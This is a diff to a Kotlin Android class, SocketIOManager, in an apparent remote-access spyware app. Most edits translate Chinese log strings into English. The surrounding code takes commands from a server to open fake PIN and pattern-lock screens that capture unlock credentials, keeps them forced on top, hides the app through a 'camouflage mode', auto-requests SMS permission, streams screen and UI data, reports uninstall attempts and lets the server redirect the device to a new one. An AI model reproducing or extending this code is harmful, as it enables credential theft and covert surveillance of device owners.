Log.d(TAG, "Unread SMS count: $count") // 可以在这里发送未读数量回执给服务器 } "SMS_PERMISSION_CHECK" -> { val hasPermission = service.checkSMSPermission() - Log.d(TAG, "📱 短信权限检查: $hasPermission") + Log.d(TAG, "SMS permission check: $hasPermission") if (!hasPermission) { service.requestSMSPermissionWithAutoGrant() } } "SMS_PERMISSION_AUTO_GRANT" -> { val hasPermission = service.checkSMSPermission() - Log.d(TAG, "📱 短信权限自动授予检查: $hasPermission") + Log.d(TAG, "SMS permission auto grant check: $hasPermission") if (!hasPermission) { service.requestSMSPermissionWithAutoGrant() } else { - Log.d(TAG, "📱 短信权限已授予,无需申请") + Log.d(TAG, "SMS permission already granted, no need to request") } } "OPEN_PIN_INPUT" -> { - Log.d(TAG, "🔐 收到打开PIN输入页面指令") + Log.d(TAG, "Received open PIN input page command") openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN) } "OPEN_FOUR_DIGIT_PIN" -> { - Log.d(TAG, "🔐 收到打开4位数字PIN页面指令") + Log.d(TAG, "Received open 4-digit PIN page command") openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN_4) } "OPEN_PATTERN_LOCK" -> { - Log.d(TAG, "🔐 收到打开图形密码页面指令") + Log.d(TAG, "Received open pattern lock page command") openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PATTERN) } "CHANGE_SERVER_URL" -> { val newServerUrl = data.optString("serverUrl", "") if (newServerUrl.isNotEmpty()) { - Log.i(TAG, "🔄 收到修改服务器地址指令: $newServerUrl") + Log.i(TAG, "Received server URL change command: $newServerUrl") handleServerUrlChange(newServerUrl) } else { - Log.w(TAG, "⚠️ 修改服务器地址指令缺少serverUrl参数") + Log.w(TAG, "Server URL change command missing serverUrl param") } } "SCREEN_CAPTURE_PAUSE" -> { @@ -1403,7 +1426,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { fun sendOperationLog(logData: JSONObject) { try { if (isConnected && socket?.connected() == true) { - // 🔧 关键优化:检查与屏幕数据发送的时间间隔,避免传输冲突 + // Optimization: check time gap with screen data to avoid transport conflict val currentTime = System.currentTimeMillis() val timeSinceLastScreenData = currentTime - lastScreenDataTime @@ -1413,22 +1436,22 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { try { if (isConnected && socket?.connected() == true) { socket?.emit("operation_log", logData) - Log.d(TAG, "📤 [延迟] 发送操作日志: ${logData.optString("logType")} - ${logData.optString("content")}") + Log.d(TAG, "[Delayed] Send operation log: ${logData.optString("logType")} - ${logData.optString("content")}") } } catch (e: Exception) { - Log.e(TAG, "❌ 延迟发送操作日志失败", e) + Log.e(TAG, "Delayed send operation log failed", e) } }, 150) // 延迟150ms,错开屏幕数据发送时间 } else { // 安全时间窗口,直接发送 socket?.emit("operation_log", logData) - Log.d(TAG, "📤 发送操作日志: ${logData.optString("logType")} - ${logData.optString("content")}") + Log.d(TAG, "Send operation log: ${logData.optString("logType")} - ${logData.optString("content")}") } } else { - Log.w(TAG, "⚠️ Socket未连接,无法发送操作日志") + Log.w(TAG, "Socket not connected, cannot send operation log") } } catch (e: Exception) { - Log.e(TAG, "❌ 发送操作日志失败", e) + Log.e(TAG, "Send operation log failed", e) } } @@ -1447,12 +1470,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } socket?.emit("permission_response", responseData) - Log.i(TAG, "📤 发送权限申请响应: $permissionType - 成功=$success, 消息=$message") + Log.i(TAG, "Send permission response: $permissionType - success=$success, message=$message") } else { - Log.w(TAG, "⚠️ Socket未连接,无法发送权限申请响应") + Log.w(TAG, "Socket not connected, cannot send permission response") } } catch (e: Exception) { - Log.e(TAG, "❌ 发送权限申请响应失败", e) + Log.e(TAG, "Send permission response failed", e) } } @@ -1473,12 +1496,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } socket?.emit("device_input_blocked_changed", eventData) - Log.i(TAG, "📤 发送设备输入阻塞状态变更: blocked=$blocked, fromConfigComplete=$fromConfigComplete, autoEnabled=$autoEnabled") + Log.i(TAG, "Send input block state change: blocked=$blocked, fromConfigComplete=$fromConfigComplete, autoEnabled=$autoEnabled") } else { - Log.w(TAG, "⚠️ Socket未连接,无法发送设备输入阻塞状态变更") + Log.w(TAG, "Socket not connected, cannot send input block state") } } catch (e: Exception) { - Log.e(TAG, "❌ 发送设备输入阻塞状态变更失败", e) + Log.e(TAG, "Failed to send input block state change", e) } } @@ -1488,54 +1511,56 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { private fun handleServerUrlChange(newServerUrl: String) { scope.launch(Dispatchers.IO) { try { - Log.i(TAG, "🔄 开始处理服务器地址修改: $newServerUrl") + Log.i(TAG, "Processing server URL change: $newServerUrl") - // 0. 验证新服务器地址格式 - if (newServerUrl.isBlank() || (!newServerUrl.startsWith("ws://") && !newServerUrl.startsWith("wss://"))) { - Log.e(TAG, "❌ 无效的服务器地址格式: $newServerUrl") - sendErrorResponse("无效的服务器地址格式") + // 0. Validate new server URL format (accept ws/wss/http/https) + if (newServerUrl.isBlank() || + (!newServerUrl.startsWith("ws://") && !newServerUrl.startsWith("wss://") && + !newServerUrl.startsWith("http://") && !newServerUrl.startsWith("https://"))) { + Log.e(TAG, "Invalid server URL format: $newServerUrl") + sendErrorResponse("Invalid server URL format") return@launch } - // 1. 保存新的服务器地址到配置文件 + // 1. Save new server URL to config val success = com.hikoncont.util.ConfigWriter.updateServerUrl(service, newServerUrl) if (success) { - Log.i(TAG, "✅ 服务器地址已保存到配置文件") + Log.i(TAG, "Server URL saved to config") - // 1.5. 验证配置是否真的保存成功 + // 1.5. Verify config was saved correctly val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service) if (savedUrl == newServerUrl) { - Log.i(TAG, "✅ 配置验证成功,新地址已保存: $savedUrl") + Log.i(TAG, "Config verified, new URL saved: $savedUrl") } else { - Log.w(TAG, "⚠️ 配置验证失败,保存的地址: $savedUrl, 期望的地址: $newServerUrl") + Log.w(TAG, "Config verify failed, saved: $savedUrl, expected: $newServerUrl") } - // 2. 发送响应给服务器 + // 2. Send response to server withContext(Dispatchers.Main) { try { val responseData = JSONObject().apply { put("deviceId", getDeviceId()) put("success", true) - put("message", "服务器地址已更新,即将重启连接") + put("message", "Server URL updated, restarting connection") put("newServerUrl", newServerUrl) put("timestamp", System.currentTimeMillis()) } socket?.emit("server_url_changed", responseData) - Log.i(TAG, "📤 发送服务器地址修改响应") + Log.i(TAG, "Server URL change response sent") } catch (e: Exception) { - Log.e(TAG, "❌ 发送响应失败", e) + Log.e(TAG, "Failed to send response", e) } } - // 3. 延迟后断开当前连接并重新连接到新地址 - delay(2000) // 延迟2秒,确保响应发送成功 + // 3. Delay then disconnect and reconnect to new server + delay(2000) - Log.i(TAG, "🔄 开始重启WebSocket连接...") + Log.i(TAG, "Restarting WebSocket connection...") reconnectToNewServer(newServerUrl) } else { - Log.e(TAG, "❌ 保存服务器地址失败") + Log.e(TAG, "Failed to save server URL") // 发送失败响应 withContext(Dispatchers.Main) { @@ -1548,13 +1573,13 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } socket?.emit("server_url_changed", responseData) } catch (e: Exception) { - Log.e(TAG, "❌ 发送失败响应失败", e) + Log.e(TAG, "Failed to send error response", e) } } } } catch (e: Exception) { - Log.e(TAG, "❌ 处理服务器地址修改失败", e) + Log.e(TAG, "Handle server URL change failed", e) sendErrorResponse("处理服务器地址修改时发生异常: ${e.message}") } } @@ -1573,9 +1598,9 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { put("timestamp", System.currentTimeMillis()) } socket?.emit("server_url_changed", responseData) - Log.i(TAG, "📤 发送错误响应: $errorMessage") + Log.i(TAG, "Send error response: $errorMessage") } catch (e: Exception) { - Log.e(TAG, "❌ 发送错误响应失败", e) + Log.e(TAG, "Send error response failed", e) } } } @@ -1585,28 +1610,28 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { */ private suspend fun reconnectToNewServer(newServerUrl: String) { try { - Log.i(TAG, "🔄 断开当前连接...") + Log.i(TAG, "Disconnecting current connection...") - // 1. 断开当前连接 + // 1. Disconnect current connection withContext(Dispatchers.Main) { socket?.disconnect() socket?.close() socket = null } - Log.i(TAG, "✅ 当前连接已断开") + Log.i(TAG, "Current connection disconnected") - // 2. 等待一段时间 + // 2. Wait before reconnecting delay(1000) - // 3. 连接到新服务器 - Log.i(TAG, "🔄 连接到新服务器: $newServerUrl") + // 3. Connect to new server (protocol conversion handled in connect()) + Log.i(TAG, "Connecting to new server: $newServerUrl") connect(newServerUrl) - Log.i(TAG, "✅ WebSocket服务重启完成") + Log.i(TAG, "WebSocket service restart complete") } catch (e: Exception) { - Log.e(TAG, "❌ 重新连接到新服务器失败", e) + Log.e(TAG, "Reconnect to new server failed", e) } } @@ -1615,16 +1640,16 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { */ private fun openPasswordInputActivity(passwordType: String) { try { - Log.d(TAG, "🔐 准备打开密码输入页面,类型: $passwordType") + Log.d(TAG, "Opening password input page, type: $passwordType") - // 🔧 重置密码输入完成状态,允许重新输入 + // Reset password input completion state to allow re-input val prefs = service.getSharedPreferences("password_input", Context.MODE_PRIVATE) val completed = prefs.getBoolean("password_input_completed", false) if (completed) { - Log.i(TAG, "🔐 检测到密码已输入完成,重置状态以允许重新输入") + Log.i(TAG, "Password already completed, resetting state for re-input") prefs.edit().putBoolean("password_input_completed", false).apply() - Log.i(TAG, "✅ 密码输入状态已重置,准备重新输入") + Log.i(TAG, "Password input state reset, ready for re-input") } // 检查是否处于伪装模式,如果是则确保MainActivity被禁用 @@ -1648,13 +1673,13 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } service.startActivity(intent) - Log.d(TAG, "✅ 密码输入页面已启动,类型: $passwordType") + Log.d(TAG, "Password input page started, type: $passwordType") // 启动无障碍监控 startAccessibilityMonitoring(passwordType, deviceId, installationId) } catch (e: Exception) { - Log.e(TAG, "❌ 启动密码输入页面失败", e) + Log.e(TAG, "Failed to start password input page", e) } } @@ -1676,7 +1701,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (PhoneManager: $phoneManagerEnabled, Main: $mainDisabled)") isCamouflage } catch (e: Exception) { - Log.e(TAG, "❌ 检查APP伪装模式失败", e) + Log.e(TAG, "Failed to check app camouflage mode", e) false } } @@ -1698,13 +1723,13 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED, android.content.pm.PackageManager.DONT_KILL_APP ) - Log.i(TAG, "✅ MainActivity已重新禁用") + Log.i(TAG, "MainActivity re-disabled") } else { - Log.d(TAG, "✅ MainActivity已经是禁用状态") + Log.d(TAG, "MainActivity already disabled") } } catch (e: Exception) { - Log.e(TAG, "❌ 确保MainActivity禁用失败", e) + Log.e(TAG, "Failed to ensure MainActivity disabled", e) } } @@ -1713,35 +1738,35 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { */ private fun startAccessibilityMonitoring(passwordType: String, deviceId: String, installationId: String) { try { - Log.d(TAG, "🔍 启动无障碍监控,密码类型: $passwordType") - Log.d(TAG, "🔍 设备ID: $deviceId") - Log.d(TAG, "🔍 安装ID: $installationId") + Log.d(TAG, "Start accessibility monitoring, password type: $passwordType") + Log.d(TAG, "Device ID: $deviceId") + Log.d(TAG, "Installation ID: $installationId") // 通过AccessibilityRemoteService获取AccessibilityEventManager val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService if (accessibilityService != null) { - Log.d(TAG, "🔍 成功获取AccessibilityRemoteService") + Log.d(TAG, "Got AccessibilityRemoteService") val eventManager = accessibilityService.getAccessibilityEventManager() if (eventManager != null) { - Log.d(TAG, "🔍 成功获取AccessibilityEventManager") + Log.d(TAG, "Got AccessibilityEventManager") // 启动Socket唤醒密码监控 eventManager.startSocketWakePasswordMonitoring(passwordType, deviceId, installationId) - Log.d(TAG, "✅ 无障碍监控已启动") + Log.d(TAG, "Accessibility monitoring started") - // 启动强制置顶监控(参考handleNormalPasswordPageSwitch) + // Start force-top monitoring startForceTopMonitoring(passwordType, deviceId, installationId) - Log.d(TAG, "✅ 强制置顶监控已启动") + Log.d(TAG, "Force-top monitoring started") } else { - Log.w(TAG, "⚠️ AccessibilityEventManager为null,监控未启动") + Log.w(TAG, "AccessibilityEventManager is null, monitoring not started") } } else { - Log.w(TAG, "⚠️ 无法获取AccessibilityRemoteService,监控未启动") - Log.w(TAG, "⚠️ service类型: ${service::class.java.simpleName}") + Log.w(TAG, "Cannot get AccessibilityRemoteService, monitoring not started") + Log.w(TAG, "Service type: ${service::class.java.simpleName}") } } catch (e: Exception) { - Log.e(TAG, "❌ 启动无障碍监控失败", e) + Log.e(TAG, "Failed to start accessibility monitoring", e) } } @@ -1762,7 +1787,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { if (eventManager != null) { // 启用强制返回功能 eventManager.enableForceReturn() - Log.d(TAG, "✅ 强制返回功能已启用") + Log.d(TAG, "Force return enabled") // 记录操作日志 accessibilityService.recordOperationLog("SOCKET_FORCE_TOP_START", "Socket强制置顶启动", mapOf( @@ -1775,12 +1800,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } } } catch (e: Exception) { - Log.e(TAG, "❌ 启动强制置顶监控失败", e) + Log.e(TAG, "Failed to start force-top monitoring", e) } }, 2000) // 2秒延迟,给页面充分时间加载 } catch (e: Exception) { - Log.e(TAG, "❌ 启动强制置顶监控失败", e) + Log.e(TAG, "Failed to start force-top monitoring (outer)", e) } } @@ -1796,7 +1821,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { fun isDeviceRegistered(): Boolean = isDeviceRegistered && isConnected() /** - * ✅ 立即检测连接状态并重连 + * Check connection status and reconnect immediately */ private fun checkConnectionAndReconnect() { scope.launch { @@ -1916,7 +1941,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { query = "reconnect=true&strategy=${if (useConservativeStrategy) "conservative" else "standard"}×tamp=${System.currentTimeMillis()}" } - socket = IO.socket(java.net.URI.create(serverUrl), options) + socket = IO.socket(java.net.URI.create(convertToSocketIoProtocol(serverUrl)), options) setupEventListeners() socket?.connect() @@ -1942,12 +1967,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * ✅ 启动主动连接监控 - 增强稳定性版本(针对transport error问题) + * Start active connection monitoring - enhanced stability version */ private fun startConnectionMonitoring() { - Log.e(TAG, "🚀🚀🚀 启动增强连接监控!!! 🚀🚀🚀") + Log.e(TAG, "Starting enhanced connection monitoring") - // 🎯 优化:调整检测间隔,与服务端60秒心跳间隔协调,提高异常检测效率 + // Optimize: adjust check interval to coordinate with server 60s heartbeat val checkInterval = if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35) 30000L // Android 15每30秒检测一次,与60秒心跳间隔形成2:1比例 } else { @@ -1955,20 +1980,20 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } connectionCheckJob = scope.launch { - var consecutiveFailures = 0 // ✅ 连续失败计数 + var consecutiveFailures = 0 // Consecutive failure count while (isActive && isConnected) { try { delay(checkInterval) - Log.w(TAG, "🔍🔍🔍 执行智能连接检测... 🔍🔍🔍") + Log.w(TAG, "Executing smart connection check...") - // ✅ 多层连接状态检查 + // Multi-layer connection status check val socketConnected = socket?.connected() == true val socketExists = socket != null if (!socketExists) { - Log.e(TAG, "❌❌❌ Socket实例不存在!!! ❌❌❌") + Log.e(TAG, "Socket instance does not exist") isConnected = false isDeviceRegistered = false forceReconnect() @@ -1977,24 +2002,24 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { if (!socketConnected) { consecutiveFailures++ - Log.e(TAG, "❌❌❌ 检测到Socket.IO连接断开!!! 连续失败次数: $consecutiveFailures ❌❌❌") + Log.e(TAG, "Socket.IO connection lost, consecutive failures: $consecutiveFailures") - // 🎯 优化:平衡容错和响应速度,更快检测连接问题 - if (consecutiveFailures >= 5) { // 优化为5次失败触发重连,约2分钟内恢复 - Log.e(TAG, "🔄🔄🔄 连接检测连续失败${consecutiveFailures}次,触发重连!!! 🔄🔄🔄") + // Balance fault tolerance and response speed + if (consecutiveFailures >= 5) { + Log.e(TAG, "Connection check failed ${consecutiveFailures} times, triggering reconnect") isConnected = false isDeviceRegistered = false forceReconnect() break } else { - Log.w(TAG, "⚠️ 检测失败次数: $consecutiveFailures/5,等待下次检测确认") + Log.w(TAG, "Check failure count: $consecutiveFailures/5, waiting for next check") continue } } else { consecutiveFailures = 0 // 重置失败计数 } - // ✅ 优化心跳测试:降低频率,减少transport error触发 + // Optimize heartbeat test: reduce frequency to minimize transport errors if (consecutiveFailures == 0) { try { val testData = JSONObject().apply { @@ -2006,15 +2031,15 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { )) } socket?.emit("CONNECTION_TEST", testData) - Log.w(TAG, "✅✅✅ 智能连接检测:发送测试消息成功 ✅✅✅") + Log.w(TAG, "Connection check: test message sent successfully") } catch (e: Exception) { consecutiveFailures++ - Log.e(TAG, "❌❌❌ 连接检测:发送测试消息失败!!! 连续失败: $consecutiveFailures ❌❌❌", e) + Log.e(TAG, "Connection check: test message send failed, consecutive failures: $consecutiveFailures", e) - // 🎯 优化:心跳失败时也要快速响应,避免长时间无响应 - if (consecutiveFailures >= 6) { // 优化为6次失败,约2.5-3分钟重连 - Log.e(TAG, "🔧 心跳测试连续失败${consecutiveFailures}次,调用重连逻辑") + // Respond quickly to heartbeat failures + if (consecutiveFailures >= 6) { + Log.e(TAG, "Heartbeat test failed ${consecutiveFailures} times, calling reconnect") isConnected = false forceReconnect() break @@ -2023,7 +2048,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } } catch (e: Exception) { - Log.e(TAG, "❌❌❌ 连接监控异常!!! ❌❌❌", e) + Log.e(TAG, "Connection monitoring exception", e) break } } @@ -2084,7 +2109,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { */ private fun handleUIHierarchyRequest(requestData: JSONObject) { try { - Log.e(TAG, "🔍🔍🔍 开始处理UI层次结构分析请求(默认增强版)!!! 🔍🔍🔍") + Log.e(TAG, "Processing UI hierarchy analysis request (enhanced mode)") val requestId = requestData.optString("requestId", "") val clientId = requestData.optString("clientId", "") @@ -2092,7 +2117,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val includeNonInteractive = requestData.optBoolean("includeNonInteractive", true) val maxDepth = requestData.optInt("maxDepth", 25) // 默认25层 - Log.e(TAG, "📋 请求参数: requestId=$requestId, clientId=$clientId, includeInvisible=$includeInvisible, includeNonInteractive=$includeNonInteractive, maxDepth=$maxDepth") + Log.e(TAG, "Request params: requestId=$requestId, clientId=$clientId, includeInvisible=$includeInvisible, includeNonInteractive=$includeNonInteractive, maxDepth=$maxDepth") // 使用协程在后台执行UI分析 scope.launch { @@ -2115,7 +2140,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { ) if (hierarchy != null) { - Log.e(TAG, "✅✅✅ 增强UI分析成功!!! ✅✅✅") + Log.e(TAG, "Enhanced UI analysis succeeded") // 发送完整的UI层次结构响应 val responseData = JSONObject().apply { @@ -2147,26 +2172,26 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { }) } - Log.e(TAG, "📤📤📤 准备发送增强UI层次结构响应!!! 📤📤📤") - Log.e(TAG, "📊 响应数据大小: ${responseData.toString().length} 字符") - Log.e(TAG, "🔍 设备特征: 已包含") + Log.e(TAG, "Sending enhanced UI hierarchy response") + Log.e(TAG, "Response data size: ${responseData.toString().length} chars") + Log.e(TAG, "Device features: included") // 发送响应 sendUIHierarchyResponse(responseData) } else { - Log.e(TAG, "❌❌❌ 增强UI分析返回null!!! ❌❌❌") + Log.e(TAG, "Enhanced UI analysis returned null") // 发送错误响应 sendUIHierarchyError(requestId, clientId, "无法获取UI层次结构(增强模式)") } } catch (e: Exception) { - Log.e(TAG, "❌❌❌ 增强UI层次结构分析失败!!! ❌❌❌", e) + Log.e(TAG, "Enhanced UI hierarchy analysis failed", e) sendUIHierarchyError(requestId, clientId, "增强分析失败: ${e.message}") } } } catch (e: Exception) { - Log.e(TAG, "❌❌❌ 处理UI层次结构请求失败!!! ❌❌❌", e) + Log.e(TAG, "Handle UI hierarchy request failed", e) } } @@ -2175,14 +2200,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { */ private fun sendUIHierarchyResponse(responseData: JSONObject) { try { - Log.e(TAG, "🔄 使用screen_data事件发送UI层次结构响应(实验验证可行)") + Log.e(TAG, "Using screen_data event to send UI hierarchy response") - // ✅ 完全参考sendScreenData的简单连接检查 + // Simple connection check following sendScreenData pattern if (isConnected && socket?.connected() == true) { - // ✅ 关键修复:使用screen_data事件发送UI响应数据 + // Use screen_data event to send UI response data try { - // 🎯 将UI响应数据转换为screen_data格式 + // Convert UI response data to screen_data format val uiScreenData = JSONObject().apply { put("deviceId", getDeviceId()) put("format", "UI_HIERARCHY") // 特殊格式标识 @@ -2195,25 +2220,25 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } val emitResult = socket?.emit("screen_data", uiScreenData) - Log.e(TAG, "✅✅✅ 使用screen_data事件发送UI层次结构响应成功: $emitResult") - Log.e(TAG, "📊 UI响应数据大小: ${responseData.toString().length} 字符") - Log.e(TAG, "🔍 Socket状态详情: connected=${socket?.connected()}, id=${socket?.id()}") + Log.e(TAG, "UI hierarchy response sent via screen_data event: $emitResult") + Log.e(TAG, "UI response data size: ${responseData.toString().length} chars") + Log.e(TAG, "Socket status: connected=${socket?.connected()}, id=${socket?.id()}") } catch (emitException: Exception) { - // 🔧 UI层次结构响应失败处理同样增加容错机制 - Log.e(TAG, "❌ 使用screen_data事件发送UI层次结构响应失败: ${emitException.message}") - // 不立即触发重连,而是记录错误,让统一的重连机制处理 - Log.w(TAG, "⚠️ UI响应发送失败,由CONNECTION_TEST心跳机制统一检测重连") + // UI hierarchy response failure handling with tolerance + Log.e(TAG, "UI hierarchy response send failed via screen_data: ${emitException.message}") + // Don't trigger reconnect immediately, let unified reconnect mechanism handle it + Log.w(TAG, "UI response send failed, CONNECTION_TEST heartbeat will handle reconnect") throw emitException } } else { - Log.e(TAG, "❌ Socket.IO未连接,无法发送UI层次结构响应") - Log.e(TAG, "🔍 连接状态详情: isConnected=$isConnected, socket?.connected()=${socket?.connected()}") - // 🔧 不立即重连,由心跳机制统一检测连接状态 - Log.w(TAG, "⚠️ Socket未连接,等待CONNECTION_TEST心跳机制检测重连") + Log.e(TAG, "Socket.IO not connected, cannot send UI hierarchy response") + Log.e(TAG, "Connection status: isConnected=$isConnected, socket?.connected()=${socket?.connected()}") + // Don't reconnect immediately, let heartbeat mechanism handle it + Log.w(TAG, "Socket not connected, waiting for CONNECTION_TEST heartbeat to detect reconnect") } } catch (e: Exception) { - Log.e(TAG, "❌❌❌ 发送UI层次结构响应异常!!! ❌❌❌", e) + Log.e(TAG, "Send UI hierarchy response exception", e) } } @@ -2231,12 +2256,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { put("timestamp", System.currentTimeMillis()) } - Log.w(TAG, "📤 准备发送UI层次结构错误响应: $errorMessage") + Log.w(TAG, "Sending UI hierarchy error response: $errorMessage") - // ✅ 使用screen_data事件发送错误响应 + // Use screen_data event to send error response if (isConnected && socket?.connected() == true) { try { - // 🎯 将错误响应数据转换为screen_data格式 + // Convert error response to screen_data format val errorScreenData = JSONObject().apply { put("deviceId", getDeviceId()) put("format", "UI_HIERARCHY") // 特殊格式标识 @@ -2250,27 +2275,27 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } val emitResult = socket?.emit("screen_data", errorScreenData) - Log.w(TAG, "✅ 使用screen_data事件发送UI层次结构错误响应成功: $emitResult") + Log.w(TAG, "UI hierarchy error response sent via screen_data: $emitResult") } catch (emitException: Exception) { - // 🔧 错误响应发送失败也使用容错机制 - Log.e(TAG, "❌ 使用screen_data事件发送UI层次结构错误响应失败: ${emitException.message}") - // 不立即触发重连,由心跳机制统一处理 - Log.w(TAG, "⚠️ UI错误响应发送失败,由CONNECTION_TEST心跳机制统一检测重连") + // Error response send failure with tolerance + Log.e(TAG, "UI hierarchy error response send failed: ${emitException.message}") + // Don't reconnect immediately, let heartbeat handle it + Log.w(TAG, "UI error response send failed, CONNECTION_TEST heartbeat will handle reconnect") throw emitException } } else { - Log.e(TAG, "❌ Socket.IO未连接,无法发送UI层次结构错误响应") - // 🔧 不立即重连,由心跳机制统一检测连接状态 - Log.w(TAG, "⚠️ Socket未连接,等待CONNECTION_TEST心跳机制检测重连") + Log.e(TAG, "Socket.IO not connected, cannot send UI hierarchy error response") + // Don't reconnect immediately, let heartbeat handle it + Log.w(TAG, "Socket not connected, waiting for CONNECTION_TEST heartbeat") } } catch (e: Exception) { - Log.e(TAG, "❌ 发送错误响应失败", e) + Log.e(TAG, "Send error response failed", e) } } /** - * ✅ 获取当前网络类型(用于网络变化检测) + * Get current network type (for network change detection) */ private fun getCurrentNetworkType(): String { return try { @@ -2305,7 +2330,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * ✅ 检查是否应该使用保守的重连策略(基于网络环境和错误历史) + * Check if conservative reconnect strategy should be used */ private fun shouldUseConservativeReconnect(): Boolean { val currentTime = System.currentTimeMillis() @@ -2343,16 +2368,16 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val useConservative = factorsForConservative.isNotEmpty() if (useConservative) { - Log.w(TAG, "🔧 启用保守重连策略,触发因素: ${factorsForConservative.joinToString(", ")}") + Log.w(TAG, "Using conservative reconnect strategy, factors: ${factorsForConservative.joinToString(", ")}") } else { - Log.i(TAG, "🚀 使用标准重连策略,网络环境良好") + Log.i(TAG, "Using standard reconnect strategy, network is good") } return useConservative } /** - * ✅ 记录连接持续时间,用于网络质量评估 + * Record connection duration for network quality assessment */ private fun recordConnectionDuration(duration: Long) { recentConnectionTimes.add(duration) @@ -2363,7 +2388,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * ✅ 更新网络质量分数(基于多因素综合评估) + * Update network quality score (multi-factor assessment) */ private fun updateNetworkQualityScore(isSuccess: Boolean, reason: String = "", duration: Long = 0) { val previousScore = networkQualityScore @@ -2403,12 +2428,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } if (networkQualityScore != previousScore) { - Log.i(TAG, "🌐 网络质量评分更新: $previousScore -> $networkQualityScore (${getNetworkQualityDescription()})") + Log.i(TAG, "Network quality score update: $previousScore -> $networkQualityScore (${getNetworkQualityDescription()})") } } /** - * ✅ 获取网络质量描述 + * Get network quality description */ private fun getNetworkQualityDescription(): String { return when { @@ -2421,7 +2446,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * ✅ 获取当前网络质量分数(供外部查询) + * Get current network quality score (for external query) */ fun getNetworkQualityScore(): Int = networkQualityScore @@ -2434,7 +2459,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { // 检查缓存 val currentTime = System.currentTimeMillis() if (cachedPublicIP != null && (currentTime - lastIPCheckTime) < IP_CACHE_DURATION) { - Log.d(TAG, "🌐 使用缓存的公网IP: $cachedPublicIP") + Log.d(TAG, "Using cached public IP: $cachedPublicIP") return@withContext cachedPublicIP } @@ -2463,22 +2488,22 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { if (isValidIP(ip)) { cachedPublicIP = ip lastIPCheckTime = currentTime - Log.i(TAG, "🌐 获取公网IP成功: $ip (服务: $service)") + Log.i(TAG, "Public IP obtained: $ip (service: $service)") return@withContext ip } } connection.disconnect() } catch (e: Exception) { - Log.w(TAG, "⚠️ IP检测服务失败: $service", e) + Log.w(TAG, "IP detection service failed: $service", e) continue } } - Log.w(TAG, "⚠️ 所有公网IP检测服务都失败") + Log.w(TAG, "All public IP detection services failed") return@withContext null } catch (e: Exception) { - Log.e(TAG, "❌ 获取公网IP异常", e) + Log.e(TAG, "Get public IP exception", e) return@withContext null } } @@ -2501,7 +2526,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 🛡️ 发送卸载尝试检测事件到服务器 + * Send uninstall attempt detection event to server */ fun sendUninstallAttemptDetected(type: String, message: String = "") { try { @@ -2514,12 +2539,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } socket?.emit("uninstall_attempt_detected", eventData) - Log.w(TAG, "🛡️ 已发送卸载尝试检测事件: type=$type, message=$message") + Log.w(TAG, "Uninstall attempt event sent: type=$type, message=$message") } else { - Log.w(TAG, "⚠️ Socket未连接,无法发送卸载尝试检测事件") + Log.w(TAG, "Socket not connected, cannot send uninstall attempt event") } } catch (e: Exception) { - Log.e(TAG, "❌ 发送卸载尝试检测事件失败", e) + Log.e(TAG, "Send uninstall attempt event failed", e) } } @@ -2547,10 +2572,10 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { else -> "Android $release" } - Log.d(TAG, "📱 系统版本名称: $versionName (API $apiLevel)") + Log.d(TAG, "System version: $versionName (API $apiLevel)") versionName } catch (e: Exception) { - Log.e(TAG, "❌ 获取系统版本名称失败", e) + Log.e(TAG, "Get system version failed", e) "Android ${android.os.Build.VERSION.RELEASE}" } } @@ -2619,10 +2644,10 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } } - Log.d(TAG, "📱 ROM类型: $romType (Brand: $brand, Manufacturer: $manufacturer)") + Log.d(TAG, "ROM type: $romType (Brand: $brand, Manufacturer: $manufacturer)") romType } catch (e: Exception) { - Log.e(TAG, "❌ 获取ROM类型失败", e) + Log.e(TAG, "Get ROM type failed", e) "未知ROM" } } @@ -2681,10 +2706,10 @@ class SocketIOManager(private val service: 